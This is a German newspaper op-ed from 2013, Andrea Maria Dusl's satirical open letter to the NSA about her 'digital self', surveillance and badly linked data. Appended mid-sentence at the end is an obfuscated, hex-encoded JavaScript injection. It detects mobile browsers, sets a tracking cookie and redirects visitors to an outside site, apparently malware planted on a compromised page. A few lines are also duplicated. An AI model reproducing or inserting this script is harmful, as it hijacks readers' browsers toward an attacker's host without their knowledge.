Offener Brief an die NSA: Mein digitales Ich
Offener Brief an die NSA: Mein digitales Ich
ANDREA MARIA DUSL, 13. Juli 2013, 09:45
foto: ap/ susanne lindholm
foto: heribert corn/corn.at
Andrea Maria Dusl: “Ich schreibe Ihnen öffentlich, weil mir viel daran liegt, auch andere in unsere Korrespondenz einzuweihen.
Aus einem tief empfundenen Gefühl, Gleichgewichte wiederherzustellen.”
“Viel ist dieser Tage davon die Rede, wie viel ihr über jede und jeden von uns wisst.”
FacebookServer Farm in Luleå (Schweden)
foto: reuters/thomas peter
“Mein digitales Ich hat sich übrigens mit Edward Snowden gemeingemacht.”
Korrespondenz mit dem USGeheimdienst: “Es gibt da ein zweites Ich von mir, es liegt draußen auf euern Servern. Ich finde, wir sollten einmal miteinander darüber reden, was ihr damit anfangen wollt”
S. g. Damen und Herren der National Security Agency
Salt Office Petitions
9800 Savage Road, Suite 4711
Fort Meade, MD 207554711
Abs.: Andrea Maria Dusl,
Adresse bekannt
Sehr geehrte Damen und Herren!
Ich erlaube mir, mit einem offenen Brief an Sie heranzutreten. Mir ist bewusst, dass es dessen nicht bedürfte, ich könnte Ihnen auch einen geschlossenen Brief schicken (man sagt, Sie können ihn ungeöffnet lesen), ja ich könnte irgendwem einen Brief schicken mit diesem Inhalt. Oder eine EMail absetzen (verschlüsselt oder nicht), eine SMS, ein FacebookPosting, einen Tweet, whatever. Mir fiele jetzt nicht ein, wie ich verhindern könnte, dass Sie meine Nachricht erreichte. Selbst unversandt, auf meinem Laptop geschrieben (IPAdresse ist Ihnen bekannt) und in den Tiefen meiner Festplatte versteckt erreichte Sie jeder meiner Texte. Diese Zeilen erreichen Sie via Lachs, die Tageszeitung am Ufer der Wien (Klarnamen und Gesamtdatenaufkommen dieser Publikation und ihrer Mitarbeiter und Zuträger sind Ihnen bekannt). Ich schreibe Ihnen öffentlich, weil mir viel daran liegt, auch andere in unsere Korrespondenz einzuweihen. Aus einem tief empfundenen Gefühl, die Gleichgewichte wiederherzustellen.
Das kumpelhafte “Ihr” Unter Unbekannten im Netz hat sich (man mag das bedauern) das DuWort breitgemacht, wie auf der Baustelle, am Theater, im Möbelsupermarkt, auf dem Berg, im Bett. Wir wollen also vom förmlichen Sie zum kumpelhaften Ihr wechseln. Angesichts der Intensität der Intimität, die ich mit euch teile, erlaube ich mir diese Erosion der guten Sitten.
Viel ist dieser Tage die Rede davon, wie viel ihr über jede und jeden von uns wisst, wie umfangreich eure Sammlung ist. Ihr wisst alles über alle, alles über mich. So heißt es. Ihr seid die Verwalter meines Ichs. Meines digitalen Ichs. Wenn ich Nachdenker Schirrmacher und den Quellen glauben darf, die er digestiert, wisst ihr, was ich vorhabe, bevor ich selbst einen Plan entworfen habe. Und wenn ihr die Zukunftsschau jetzt noch nicht auf die Reihe bekommt, steht zu befürchten, dass es damit bald einmal so weit sein wird. Treten wir also offiziell in Kommunikation, liebe Damen (von euch gibt es weniger) und Herren (ihr habt auch in der NSA die Nase vorn)!
Reden wir über mein digitales Ich.
Das “digitale Ich”
Es gibt ein zweites Ich von mir, es liegt da draußen auf euren Servern und denen eurer Lieferanten, man nennt es
das “digitale Ich”. Lasst uns über mein digitales Ich sprechen. Wir müssen da was zurechtrücken.
Wo fangen wir an? Es ist völlig egal, wo wir anfangen, denn eine Erkenntnis liegt wie ein süßer Schatten über
allem. Digitales Ich und Ich sind zwei verschiedene Paar Schuhe. Digitales Ich und Ich sind verschiedener, als es
Schuhe sein könnten. Wisst ihr. Weiß ich. Wisst ihr, dass ich weiß. Weiß ich, dass ihr wisst, dass ich weiß. Und so
weiter, bis einer von uns aufgibt. Ich werde es nicht sein. Warum das so ist? Weil ich die Information erzeuge.
Wisst ihr auch. Weiß ich. Und wieder geht das Spiel los. Es ist wie beim ungleichen Rennen zwischen Has und
Swinegel. Ich bin immer schon dort, wo mein digitales Ich erst hinwill. Bevor ihr es einspeichert und missbraucht.
Nun denn, wir wollten anfangen. Und wir sagten, es sei egal, wo.
“Die Sprache ist ein Hund”
Fangen wir bei der Sprache an. ihr sprecht Englisch, NSA. Es ist also nicht ganz klar, ob eure
Übersetzungsprogramme, oder die Native Speakers, die meinen Text hier in dossierfähiges Englisch übertragen,
den Unterschied zwischen mir und dem Ich sichtbar machen können. Sie würden “mich” in “me” übersetzen und
das “Ich” in “ego”. Würden also schon ein so simpel erscheinendes Wort wie “ich” in der Landessprache der USA,
der Bürosprache der NSA, in zwei verschiedene Wörter aufspalten müssen. Wir sehen und ihr wisst das: Daten
können komplex sein. Die Sprache ist ein Hund.
Macht nichts, sagt ihr, wir haben Spezialisten für solche Dinge, die bereiten das auf. Ach ja. Woher wisst ihr, dass
sie Spezialisten sind? Aus den Daten, die wir über sie haben! Wer prüft die Quellen, sage ich, prüft die Überprüfer,
prüft die verwendeten Algorithmen, prüft deren Autoren?
Datenhalden ohne Antworten
Eine Handvoll von euch Knilchen. Mehr ist das nicht. Und das ist euer Problem. Die DDR ist daran zugrunde
gegangen, dass der eine Teil damit beschäftigt war, Daten zu verarbeiten, die der andere Teil vor ihm
verheimlichte. Auch wenn der Erwerb von Information heute nicht mehr aus dem Dampföffnen von Briefen besteht
und Akten nicht mehr auf der klappernden Schreibmaschine verfasst werden irgendwer muss die Fragen stellen,
zu denen die Datenhalden die Antworten liefern soll.
Irgendwer muss den Antworten eine Qualität zusprechen und irgendwer der Qualität eine Dimension. Wir
sprechen von vielen Leuten, die damit beschäftigt sind. Sehr vielen Leuten. Sehr viele Leute machen in Summe
sehr viele Fehler, wie jeder bestätigen kann, der in einer großen Firma in überschaubarer Position beschäftigt ist.
Einigermaßen motiviert müssen diese Leute auch sein, zumindest ausgestattet mit dem Motivans unserer Zeit,
Geld. Ein funktionierender Datenmoloch kostet also Geld, viel Geld. Dazu später. (Die DDR ist übrigens auch
daran zugrunde gegangen, dass die Überwachenden zwischen sich und den Überwachten keinen nennenswerten
Unterschied an Unzufriedenheit ausmachen konnten.)
Rosinen
Wir zahlen gut, und das meiste geht automatisch, sagt ihr: Unsere RechnerCluster und die ServerFarmen, auf
die sie zugreifen, machen die Drecksarbeit, wir picken nur mehr die Rosinen aus der Kacke. Schön gesprochen,
NSA, aber nicht ganz so unfalsch, wie ihr tut.
Knnt hr ds lsn? Oedr dseein, dcoh eawts scerehrigewin, wiel skträer dgescüurhttechlten Staz? Ne
in, ihr steigt aus.
in, ihr steigt aus.
Und eure Software. Die KryptoLeute müssen da ran. Die aus dem Büro für deutsch Geschriebenes. Nicht gleich,
aber dann halt. Wir hier im Lachs und im OnlineLachs können das lesen. Zumindest nach ein paar Sekunden.
Das kleine Beispiel soll zeigen: Information ist nicht alles.
“Central Scrutinizer”
Frank Zappa, der große Bürgerschreck und manische Fürchter USamerikanischer DatenAkquise, hat das
Problem des “Central Scrutinizer”, des “Zentralen Überwachers” schon 1979 antizipiert. Im Song Packard Goose
auf dem Album Joe””””s Garage lässt er Mary, das Groupie aus dem Bandbus, sein primäres Anliegen vortragen:
“Information is not knowledge, knowledge is not wisdom, wisdom is not truth, truth is not beauty, beauty is not love,
love is not music, music is the best! (…)” Information ist nicht Wissen, Wissen ist nicht Weisheit, Weisheit ist nicht
Wahrheit, Wahrheit ist nicht Schönheit, Schönheit ist nicht Liebe, Liebe ist nicht Musik, Musik ist das Beste.
Als meine beiden schwedischen Onkels, wir reden wieder von mir, NSA, während der Besatzung Norwegens durch
Hitlerdeutsche Truppen als Rekruten der Svenska armén, der Armee des neutralen Schwedens, an die
innerskandinavische Grenze versetzt wurden, hatten sie Verbot, in Briefen nach Hause ihre Garnison, ja
überhaupt ihre Anwesenheit an der norwegischen Grenze preiszugeben. Anders als ihre Kameraden, die ein paar
Tage Bunker riskierten, fürchteten meine Onkels, gebürtige Deutsche aus jüdischösterreichischer
Großbürgerfamilie, um ihr Leben. Wären ihre Namen und ihr Aufenthaltsort an die Sympathisanten der Nazisgeleakt, hätte ihr junges Leben leicht in der Vernichtung geendet.
Codierte Botschaft im Zweiten Weltkrieg
Um meinen Großeltern dennoch (erfolgreich) mitzuteilen, wo sie seien und dass es ihnen gutgehe, kritzelten sie
ein paar Takte mit der Melodie des “Värmlandliedes” auf die Militärpostkarte. Die schwedische Zensur war zu
einfältig, die Information überhaupt als relevant zu deuten, die deutschen Spitzel im schwedischen Militär zu
ungebildet, daraus ihren Aufenthaltsort zu extrahieren.
Die Onkels kamen nach Kriegsende gesund und halbwegs munter wieder nach Hause. Zappa und Onkels,
gleichermaßen irritiert und bedrängt von der Informationslüsternheit der Dienste, wussten sich zu helfen. Mit dem
Ausweichen auf metasprachliche Kommunikation.
Na ja, sagt ihr jetzt, NSAler, nicht jeder ist Poet, noch weniger sind des Notenlesens oder anderer Spezialsprachen
mächtig. Und das Abgreifen solcher Information ist weder die Regel noch ihre Auswertung von großem Belang.
Wir können unsere Informationen aus Kontobewegungen und den SendemastLoginDaten eurer Handys
rekonstruieren. Wir müssen nicht wissen, was ihr denkt, lasst ihr uns auf den Blogs eurer Kritiker wissen, es
genügt zu wissen, was ihr kauft und mit wem ihr sprecht. Mag sein, sage ich. Magister KarlHeinz Grasser, der
Große Finanzminister sah das anders. Wohlweislich kommunizierte er mit mindestens acht verschiedenen
Handys. Ähnliche Vorsichtsmaßnahmen wird er wohl für sein Plastikgeld und die BipaVorteilscard getroffen
haben. Der gute Mann ist ja ShampooGroßkunde.
“Sehr viel Energie muss darauf verwendet werden, den roten Faden nicht zu verlieren, noch mehr Energie,
liebe NSA, darauf, einen roten Faden überhaupt zu finden.”
Ich schweife ab. Das nächste Problem. Große Datenmengen verführen zur Abschweifung. Sehr viel Energie muss
darauf verwendet werden, den roten Faden nicht zu verlieren, noch mehr Energie, liebe NSA, darauf, einen roten
Faden überhaupt zu finden. Und wir sprechen von glaubwürdiger Information. Schwieriger noch, und bisweilen
unmöglich, darüber sprecht ihr außerhalb eurer Mauern und Thermofenster nicht so gerne, ist das Aufspüren des
richtigen roten Fadens in einem Büschel falscher roter Fäden. Oder die Erkenntnis, dass es trotz Büschels gar
keinen Faden gibt.
Wusstet ihr, liebe Datenschürfer, dass ich überhaupt nicht in San Diego lebe? Wussten wir, sagt ihr jetzt, und ich
weiß, dass ihr lügt. Euer Hauptzuträger für Intiminformation, das Datenschwimmbecken Facebook, weiß das nicht.
Emsig stellt es mir WestküstenWerbung aufs Profil. FünfBadezimmerImmobilien aus Oceanside und Carlsbad,
den ArtsyFartsyVernissagenKalender von Südkalifornien, jede Menge SchickimickiYachtBedarf, CountryClub
Einladungen, CharitySpam. Ach ja, NSA, ich hab ein bisserl geschwindelt, ich habe keinen Zweimaster mit
Beiboot. Ich habe nicht einmal das Küstenpatent für Neusiedl. Ich träume nur davon. Mein digitales Ich weiß das
nicht. Und ihr, mit ihm, seid ahnungslos.
Als nach den iranischen Präsidentschaftswahlen 2009 das Volk auf die Straße ging und die “Sea of Green” die
Sympathien säkularer und aufgeklärter urbaner Kreise im Westen nährte, spielte ich auf Twitter Informations
Multiplikator. Über mir schwebte der Heiligenschein der Gutmenschen. Ich war im Dienste der Aufklärung tätig. Der
Aufklärung im Kant””””schen Sinn. Aha, eine AuslandsIranerin, sagten die Algorithmen in Twitterland und im
Zuckerbergwerk, gegen alle Vernunft, die eine Kompilation meiner anderen Daten geboten hätte.
“Die einzige iranische Freundin, die ich habe, ist vom Habitus wienerischer als die Jazz Gitti. Ach ja, drei
Ausgaben der ””””Persepolis”””” Comics von Marjane Satrapi habe ich auch daheim.”
Auf Facebook und Twitter regnete es einschlägige Freundschaftsvorschläge mit Exiliranern. Das Iranischste an
mir, liebe Datenmineure, ist eine TaschenbuchAusgabe der Geschichten aus Tausendundeiner Nacht und mein
gymnasiales Faible für Freddie Mercury. Die einzige iranische Freundin, die ich habe, ist vom Habitus wienerischer
als die Jazz Gitti. Ach ja, drei Ausgaben der PersepolisComics von Marjane Satrapi habe ich auch daheim. Falls
ihr die Bestelllisten meiner Lieblingsbuchhändlerin scannt, NSA, dann wisst ihr das auch.
Ein Datum ist nur so gut wie seine Verknüpfung. Ich hoffe, ihr bekommt das besser auf die Reihe als euer
Datenlieferant Facebook. Geneigt, zu glauben, das ZuckerbergImperium verkaufe tatsächlich UserContent
generierte Werbung, bleibt unverständlich, wie ungenau die Platzierung und Auswahl personalisierter Werbung
ausfällt. Hallo! Ich will nicht IbizaLoungeMtaMta hören! Ich bin (als AppleFanGirl) nicht an MicrosoftServer
Software interessiert. Als Trägerin dunkler, unaufgeregter Stoffe nicht an fleischfarbenen, umwerfend sexy
wirkenden MiniAbendkleidern und als Freundin englischer Sportlimousinen nicht am Citroën Picasso. Meine
tatsächlichen Leidenschaften, Jimi Hendrix, GibsonES335Gitarren, orientalische Gewürze, französische
Gerüche und italienische Olivenöle, tauchen nie auf in eurer KommerzTimeline. Möglich, dass ihr meine
Obsessionen unter “persisch” ablegt. Bitte korrigieren! Ich bin Hippie!
Wir können mehr, sagt ihr jetzt, NSA. Den Vorwurf, echte Information würde nicht als solche erkannt, Datenmüll
und weißes InfoRauschen hingegen zu Erkenntnissen hochgebürstet, haltet ihr für dumm und bestenfalls naiv.
Gute Stichworte, NSA. Alle paar Monate spaziert einer eurer Mitarbeiter mit einer Festplatte voller Schlüsseldaten
in die Öffentlichkeit. Ihr grast den Markt nach Hackern ab, in der Hoffnung, deren Talente bei euch sicher
aufgehoben z
u wissen. Dumm und bestenfalls naiv von euch, zu meinen, die ITKrocha fühlten sich wohl in der
u wissen. Dumm und bestenfalls naiv von euch, zu meinen, die ITKrocha fühlten sich wohl in der
Gesellschaft nerdiger Krawattenheinis und GOPwählender Datenmaschivar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
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